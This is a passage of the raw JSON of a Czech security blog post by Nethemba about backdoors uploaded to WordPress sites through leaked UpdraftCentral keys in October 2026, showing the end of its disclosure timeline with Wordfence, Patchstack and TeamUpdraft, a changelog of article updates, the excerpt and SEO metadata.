spr\u00e1vce poslali t\u0159i vzorky z jednoho webu v\u010detn\u011b minim\u00e1ln\u00ed varianty, kter\u00e1 se skr\u00fdv\u00e1 ze seznamu plugin\u016f.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence zve\u0159ejnil <a href=\"https:\/\/www.wordfence.com\/blog\/2026\/10\/updraftcentral-connection-key-compromise\/\">vlastn\u00ed upozorn\u011bn\u00ed<\/a>, ve kter\u00e9m cituje n\u00e1\u0161 rozbor, a vydal pravidlo firewallu i pro bezplatnou verzi. Pravidlo ani upozorn\u011bn\u00ed zat\u00edm nepo\u010d\u00edtaj\u00ed s t\u00edm, \u017ee 1.26.12 \/ 2.26.12 kl\u00ed\u010de nesma\u017ee.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence jsme upozornili, \u017ee jejich pravidlo nekryje verze 1.26.12 \/ 2.26.12, kter\u00e9 kl\u00ed\u010de nesma\u017eou, a \u017ee hranice revokace je 12:07 UTC. Wordfence i Patchstack dostaly indik\u00e1tory dne\u0161n\u00edch pokus\u016f o pou\u017eit\u00ed backdoor\u016f.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstacku jsme se souhlasem dal\u0161\u00edch t\u0159\u00ed spr\u00e1vc\u016f poslali dvan\u00e1ct vzork\u016f v\u010detn\u011b druh\u00e9 kopie skryt\u00e9 minim\u00e1ln\u00ed varianty.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft doplnil do <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">prohl\u00e1\u0161en\u00ed<\/a>, \u017ee verze 1.26.13 \/ 2.26.13 vydan\u00e1 19. 10. kr\u00e1tce po 22:00 BST zru\u0161ila kl\u00ed\u010de UpdraftCentral a neopr\u00e1vn\u011bn\u00fd p\u0159\u00edstup byl ukon\u010den. V n\u00e1vodu v\u0161ak st\u00e1le doporu\u010duje 1.26.12 \/ 2.26.12. Na ot\u00e1zku, kterou verzi aktualizovat, n\u00e1m v\u00fdrobce odpov\u011bd\u011bl odkazem na toto prohl\u00e1\u0161en\u00ed.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"21\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft jsme upozornili, \u017ee \u00fato\u010dn\u00edk i 21. 10. r\u00e1no pos\u00edlal p\u0159\u00edkazy UpdraftCentral, \u017ee jejich n\u00e1vod st\u00e1le uv\u00e1d\u00ed 1.26.12 \/ 2.26.12 a \u017ee pr\u00e9miov\u00e1 verze m\u016f\u017ee m\u00edt heslo k \u00fa\u010dtu teamupdraft.com ulo\u017een\u00e9 v datab\u00e1zi. V\u00fdrobce n\u00e1m mezit\u00edm odepsal, \u017ee n\u00e1\u0161 \u010dl\u00e1nek p\u0159edal v\u00fdvoj\u00e1\u0159\u016fm.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"21\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft v <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">aktualizac\u00edch prohl\u00e1\u0161en\u00ed<\/a> uvedl, \u017ee se \u00fato\u010dn\u00edk na teamupdraft.com dostal pomoc\u00ed kompromitovan\u00e9ho kl\u00ed\u010de, \u017ee v\u00fdrobce p\u0159izval extern\u00ed bezpe\u010dnostn\u00ed firmu a kontaktoval policii a \u017ee WordPress.org verzi 1.26.13 rozeslal v\u0161em web\u016fm automaticky. U\u017eivatele pr\u00e9miov\u00e9 verze vyz\u00fdv\u00e1 zkontrolovat weby, i kdy\u017e UpdraftCentral nikdy nepou\u017e\u00edvali. Rychlost \u00fatoku a zpo\u010d\u00e1tku chybn\u00e9 backdoory podle v\u00fdrobce nazna\u010duj\u00ed, \u017ee \u00fato\u010dn\u00edk pou\u017eil AI. Na na\u0161i posledn\u00ed zpr\u00e1vu v\u00fdrobce odepsal, \u017ee n\u00e1vod u\u017e upravil a \u017ee v\u0161em z\u00e1kazn\u00edk\u016fm doporu\u010duje zm\u011bnit heslo k \u00fa\u010dtu teamupdraft.com. V kroc\u00edch n\u00e1vodu v\u0161ak k 22. 10. st\u00e1le st\u00e1lo 1.26.12 \/ 2.26.12 a k \u010dasov\u00e9 hranici revokace se nevyj\u00e1d\u0159il. Oboj\u00ed v\u00fdrobce do 23. 10. opravil (viz n\u00ed\u017ee).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"22\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstacku jsme se souhlasem dal\u0161\u00edho spr\u00e1vce poslali vzorek <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code> a z\u00e1znam o pokusu \u00fato\u010dn\u00edka pou\u017e\u00edt ho 20. 10.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"23\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft opravil <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">prohl\u00e1\u0161en\u00ed<\/a> (posledn\u00ed aktualizace 23. 10. 05:26 BST). V kroc\u00edch n\u00e1vodu u\u017e uv\u00e1d\u00ed 1.26.13 \/ 2.26.13 a jako hranici automaticky zru\u0161en\u00fdch spojen\u00ed 18. 10. 13:07 BST (14:07 SEL\u010c), co\u017e odpov\u00edd\u00e1 k\u00f3du. V\u00fdrobce n\u00e1m opravu ozn\u00e1mil a po\u017e\u00e1dal n\u00e1s o \u00fapravu \u010dl\u00e1nku.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n<p>Pokud jste podobn\u00fd \u00fatok zaznamenali i vy, napi\u0161te n\u00e1m na info@nethemba.com. Vzorky a dal\u0161\u00ed technick\u00e9 podklady poskytneme v\u00fdrobci i bezpe\u010dnostn\u00edm t\u00fdm\u016fm na po\u017e\u00e1d\u00e1n\u00ed.<\/p>\n<h2 id=\"aktualizace\">Aktualizace<\/h2>\n<ul>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: prvn\u00ed zve\u0159ejn\u011bn\u00ed.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: upozorn\u011bn\u00ed, \u017ee log UpdraftCentral uchov\u00e1v\u00e1 jen 50 ud\u00e1lost\u00ed, a kontrola access logu; doporu\u010den\u00ed nevytv\u00e1\u0159et spojen\u00ed znovu; postup pro pln\u011b kompromitovan\u00e9 weby; up\u0159esn\u011bn\u00ed dot\u010den\u00fdch verz\u00ed u CVE-2026-10795.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dopln\u011bno vyj\u00e1d\u0159en\u00ed v\u00fdrobce, kter\u00fd potvrdil \u00fanik kl\u00ed\u010d\u016f z teamupdraft.com; aktualizov\u00e1na doporu\u010den\u00ed, oprava a rozsah.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026 (ve\u010der): druh\u00e1 varianta se skryt\u00fdm administr\u00e1torem, dal\u0161\u00ed vzorky prvn\u00ed varianty, druh\u00e1 IP adresa, odkaz na anal\u00fdzu Patchstacku, kontroln\u00ed skript ve verzi 2.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dopln\u011bna p\u0159\u00edm\u00e1 odpov\u011b\u010f v\u00fdrobce na na\u0161e hl\u00e1\u0161en\u00ed.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: potvrzen\u00e1 funk\u010dn\u00ed varianta v ob\u011bhu, dal\u0161\u00ed vzorky obou variant, kontrola spou\u0161t\u011b\u010d\u016f v access logu, ochrana p\u0159es nezapisovateln\u00fd adres\u00e1\u0159 plugin\u016f, pr\u016fzkum z 23. 9., kontroln\u00ed skript ve verzi 3.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: rozbor vzorku funk\u010dn\u00ed varianty (skr\u00fdv\u00e1n\u00ed \u00fa\u010dtu nefunguje), minim\u00e1ln\u00ed t\u0159et\u00ed varianta, dal\u0161\u00ed vzorek prvn\u00ed varianty, upozorn\u011bn\u00ed na opakovan\u00e9 nahr\u00e1n\u00ed backdooru, kontroln\u00ed skript ve verzi 4.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: \u00fato\u010dn\u00edk se vrac\u00ed (v\u00fdm\u011bna backdooru p\u0159es <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code>, pokusy o p\u0159\u00edkazy na na\u0161e weby a\u017e do ve\u010dera), v\u00fdb\u011br web\u016f podle seznamu v UpdraftCentral, kontroln\u00ed skript ve verzi 5.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: nouzov\u00e1 verze v\u00fdrobce (1.26.12 kl\u00ed\u010de nesma\u017ee, funguje a\u017e 1.26.13, a to ne pro kl\u00ed\u010de z 18. 10. mezi 14:07 a 23:00 SEL\u010c), dopln\u011bn\u00e9 odpov\u011bdi v\u00fdrobce.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: kl\u00ed\u010d UpdraftCentral m\u016f\u017ee vzniknout bez v\u011bdom\u00ed spr\u00e1vce (p\u0159edem za\u0161krtnut\u00e9 pol\u00ed\u010dko v pr\u00e9miov\u00e9 verzi), dal\u0161\u00ed vzorek prvn\u00ed varianty, pozn\u00e1mka k IP adres\u00e1m za proxy, kontroln\u00ed skript ve verzi 6.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: kontroln\u00ed skript ve verzi 7 rozli\u0161uje chyb\u011bj\u00edc\u00ed log UpdraftCentral.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: skryt\u00e1 obm\u011bna minim\u00e1ln\u00ed varianty, dal\u0161\u00ed vzorky, v\u00edce backdoor\u016f na jednom webu, kontroln\u00ed skript ve verzi 8.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dal\u0161\u00ed vzorek prvn\u00ed varianty (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">nav-hub<\/code>).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: deset dal\u0161\u00edch vzork\u016f od t\u0159\u00ed spr\u00e1vc\u016f, funk\u010dn\u00ed backdoory aktivn\u00ed p\u0159ed p\u00e1dem webu, v\u00fdznam \u0159\u00e1dk\u016f \u201eSignature verification failed\u201c, opakuj\u00edc\u00ed se jm\u00e9na autor\u016f.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: doporu\u010den\u00ed smazat i kl\u00ed\u010de UpdraftPlus Migrator, kontroln\u00ed skript ve verzi 9.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: \u00fato\u010dn\u00edk zkou\u0161\u00ed spou\u0161t\u011b\u010de odstran\u011bn\u00fdch backdoor\u016f (nov\u00e9 IP adresy), oprava: p\u0159edem za\u0161krtnut\u00e9 pol\u00ed\u010dko m\u00e1 i bezplatn\u00e1 verze, v\u00fdznam stavov\u00fdch k\u00f3d\u016f v access logu, odkaz na upozorn\u011bn\u00ed Wordfence a jeho pravidlo firewallu, dal\u0161\u00ed n\u00e1zvy.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: up\u0159esn\u011bn\u00ed, kdy kl\u00ed\u010d UpdraftCentral vznik\u00e1.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"21\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dopln\u011bn\u00e9 vyj\u00e1d\u0159en\u00ed v\u00fdrobce z 20. 10., na\u0161e weby dostaly 2.26.13, upozorn\u011bn\u00ed na heslo k \u00fa\u010dtu teamupdraft.com ulo\u017een\u00e9 v datab\u00e1zi.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"21\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: \u00fato\u010dn\u00edk pos\u00edl\u00e1 p\u0159\u00edkazy UpdraftCentral i po vyd\u00e1n\u00ed 1.26.13.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"21\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dal\u0161\u00ed pokusy o pou\u017eit\u00ed backdoor\u016f (nov\u00e9 rozsahy IP adres), mo\u017en\u00e1 souvisej\u00edc\u00ed zji\u0161\u0165ov\u00e1n\u00ed verze UpdraftPlus.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"22\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: nov\u00e1 vyj\u00e1d\u0159en\u00ed v\u00fdrobce z 21. 10. (vynucen\u00e1 aktualizace p\u0159es WordPress.org, extern\u00ed firma, policie).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"22\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: heslo k \u00fa\u010dtu teamupdraft.com ulo\u017een\u00e9 v datab\u00e1zi a jak ho odstranit, dal\u0161\u00ed rozsah IP adres p\u0159i pokusech o pou\u017eit\u00ed backdoor\u016f, kontroln\u00ed skript ve verzi 10.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"22\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dal\u0161\u00ed vzorek prvn\u00ed varianty (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code>).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"23\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dopln\u011bno, jak \u010dasto z\u016fst\u00e1v\u00e1 heslo k \u00fa\u010dtu teamupdraft.com v datab\u00e1zi.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"23\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: test \u010dten\u00e1\u0159e a vyj\u00e1d\u0159en\u00ed v\u00fdrobce k heslu ulo\u017een\u00e9mu v datab\u00e1zi.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"26\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: opraven\u00e9 prohl\u00e1\u0161en\u00ed v\u00fdrobce z 23. 10. (verze 1.26.13 \/ 2.26.13 v n\u00e1vodu, hranice 14:07 SEL\u010c); upraveny dot\u010den\u00e9 verze, oprava a komunikace s v\u00fdrobcem.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>V noci na 19. \u0159\u00edjna 2026 \u00fato\u010dn\u00edk zneu\u017eil slu\u017ebu UpdraftCentral, kter\u00e1 je sou\u010d\u00e1st\u00ed z\u00e1lohovac\u00edho pluginu UpdraftPlus s v\u00edce ne\u017e 4 miliony instalac\u00ed, a na dva z na\u0161ich t\u0159\u00ed web\u016f nahr\u00e1l backdoor. Na\u0161e weby byly pln\u011b aktualizovan\u00e9 a chyba nebyla na na\u0161\u00ed stran\u011b: \u00fato\u010dn\u00edk podepisoval p\u0159\u00edkazy platn\u00fdmi kl\u00ed\u010di, kter\u00e9 generuje a uchov\u00e1v\u00e1 slu\u017eba UpdraftCentral Cloud. Zve\u0159ej\u0148ujeme rozbor backdooru, indik\u00e1tory kompromitace a postup, jak si zkontrolovat vlastn\u00ed weby. V\u00fdrobce pozd\u011bji potvrdil, \u017ee \u00fato\u010dn\u00edk z\u00edskal z\u00e1kaznickou datab\u00e1zi teamupdraft.com v\u010detn\u011b kl\u00ed\u010d\u016f UpdraftCentral.<\/p>\n","protected":false},"author":2,"featured_media":9610,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[12,12],"tags":[],"class_list":["post-9627","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized-cs"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba<\/title>\n<meta name=\"description\" content=\"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:locale\" content=\"cs_CZ\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba\" \/>\n<meta property=\"og:description\" content=\"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:site_name\" content=\"Nethemba\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/nethemba\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-19T05:44:03+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-10-26T03:36:15+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"1140\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Pavol Lupt\u00e1k\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@nethemba\" \/>\n<meta name=\"twitter:site\" content=\"@nethemba\" \/>\n<meta name=\"twitter:label1\" content=\"Napsal(a)\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pavol Lupt\u00e1k\" \/>\n\t<meta name=\"twitter:label2\" content=\"Odhadovan\u00e1 doba \u010dten\u00ed\" \/>\n\t<meta name=\"twitter:data2\" content=\"60 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"author\":{\"name\":\"Pavol Lupt\u00e1k\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\"},\"headline\":\"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby\",\"datePublished\":\"2026-10-19T05:44:03+00:00\",\"dateModified\":\"2026-10-26T03:36:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"wordCount\":8681,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-cs.png\",\"articleSection\":[\"Uncategorized @cs\",\"Uncategorized @cs\"],\"inLanguage\":\"cs\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"name\":\"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-cs.png\",\"datePublished\":\"2026-10-19T05:44:03+00:00\",\"dateModified\":\"2026-10-26T03:36:15+00:00\",\"description\":\"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\"},\"inLanguage\":\"cs\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"cs\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-cs.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-cs.png\",\"width\":1200,\"height\":1140},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/nethemba.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"name\":\"Nethemba\",\"description\":\"We care about your security\",\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/nethemba.com\\\/de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"cs\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\",\"name\":\"Nethemba\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"cs\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"width\":66,\"height\":70,\"caption\":\"Nethemba\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/nethemba\",\"https:\\\/\\\/x.com\\\/nethemba\",\"https:\\\/\\\/sk.linkedin.com\\\/company\\\/nethemba\",\"https:\\\/\\\/www.youtube.com\\\/@sabretoothatNethemba\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\",\"name\":\"Pavol Lupt\u00e1k\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"cs\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"caption\":\"Pavol Lupt\u00e1k\"},\"sameAs\":[\"https:\\\/\\\/www.nethemba.com\\\/\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba","description":"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup 